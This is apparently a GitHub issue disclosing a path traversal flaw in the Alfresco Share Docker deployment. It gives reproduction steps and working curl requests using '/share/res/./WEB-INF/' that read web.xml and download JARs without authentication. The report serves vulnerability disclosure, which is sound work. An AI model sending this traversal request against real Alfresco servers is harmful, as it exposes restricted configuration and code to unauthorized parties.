-
Notifications
You must be signed in to change notification settings - Fork 253
Description
Share Docker container looks prone to an information disclosure vulnerability.
After a fresh install of ACS using Docker Compose, I was able to access/download restricted contents from the Share WEB-INF directory without any authentication:
$ curl --path-as-is 'http://localhost:8080/share/res/./WEB-INF/web.xml'
Stack
- Arch Linux: 2023.01.01 kernel 6.1.1
- Docker: 24.0.2 build cb74dfcd85
- Alfresco ACS: 7.4.0.1 (Community version)
- ACS Docker Compose Deployment: last community-docker-compose.yml
Steps to reproduce
-
Download the docker compose file from:
https://github.com/Alfresco/acs-deployment/blob/master/docker-compose/community-docker-compose.yml -
Start the ACS Docker containers:
$ docker-compose -f community-docker-compose.yml up
-
Run curl to access the Share web.xml file:
$ curl --path-as-is 'http://localhost:8080/share/res/./WEB-INF/web.xml'
<?xml version='1.0' encoding='UTF-8'?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
...
</web-app>
- JAR files and all contents under "WEB-INF/" directory are accessibile as well:
$ curl --path-as-is 'http://localhost:8080/share/res/./WEB-INF/lib/alfresco-core-20.164.jar' --output alfresco-core-20.164.jar
$ ls -l
-rw-r--r-- 1 giuseppe giuseppe 304386 1 ago 19.26 alfresco-core-20.164.jar
Observations and Results
After a fresh install of ACS using Docker compose, it is possible to traverse into the WEB-INF folder of Share webapp and read files under the reserved WEB-INF directory.
It sounds like an incompatibility issue between Tomcat 9 and the Tuckey urlrewritefilter library deployed under the Share container.
The urlrewrite rule ^/res/(.*)
seems not having effects with Tomcat 9 and that Tuckey library, making the webapp vulnerable to path traversal attacks.
The servlet specification prohibits servlet containers from serving resources in the "/WEB-INF" and "/META-INF" directories of a web application archive directly to clients.
An attacker might be able to gather additional info and/or sensitive data about the web application.
(Alfresco content-app seems not affected).
Resources
JAVA Servlet 2.4 Specifiction (page 70)
https://download.oracle.com/otn-pub/jcp/servlet-2.4-fr-spec-oth-JSpec/servlet-2_4-fr-spec.pdf?AuthParam=1690914053_3df9160009a1a65654debd38804e559b